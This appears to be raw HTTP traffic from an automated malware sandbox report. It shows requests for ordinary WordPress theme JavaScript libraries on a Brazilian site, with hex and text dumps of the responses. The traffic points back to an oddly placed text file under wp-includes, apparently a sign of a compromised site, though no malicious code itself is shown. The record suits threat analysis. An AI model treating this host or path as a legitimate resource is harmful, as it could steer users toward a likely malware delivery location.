                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.872729063 CEST3825INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:44 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53545-81a-58592d4a732c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                                                      Content-Length: 2074
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780924 21188547
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20
                                                                                      Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '&ndash;'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create
                                                                                      Aug 16, 2022 11:39:51.038080931 CEST3849OUTGET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.257198095 CEST3851INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:47 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534c0-228c-58592d497f080"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                                                      Content-Length: 8844
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780926 18765514
                                                                                      Age: 123
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73
                                                                                      Data Ascii: /* * Playlist Object for the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAnces
                                                                                      Aug 16, 2022 11:39:51.330040932 CEST3860OUTGET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.545097113 CEST3920INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:45 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53571-9ca-58592d4b67500"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                                                      Content-Length: 2506
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780928 23601764
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75
                                                                                      Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFu
                                                                                      Aug 16, 2022 11:39:51.550487041 CEST3922OUTGET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.768934011 CEST3927INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:45 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53555-2a0a-58592d4a732c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                                                      Content-Length: 10762
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780930 17189116
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72
                                                                                      Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{retur
                                                                                      Aug 16, 2022 11:39:51.774377108 CEST3938OUTGET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.992917061 CEST3941INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:45 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534af-99ea-58592d497f080"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                                                      Content-Length: 39402
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780932 17189114
                                                                                      Age: 187
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 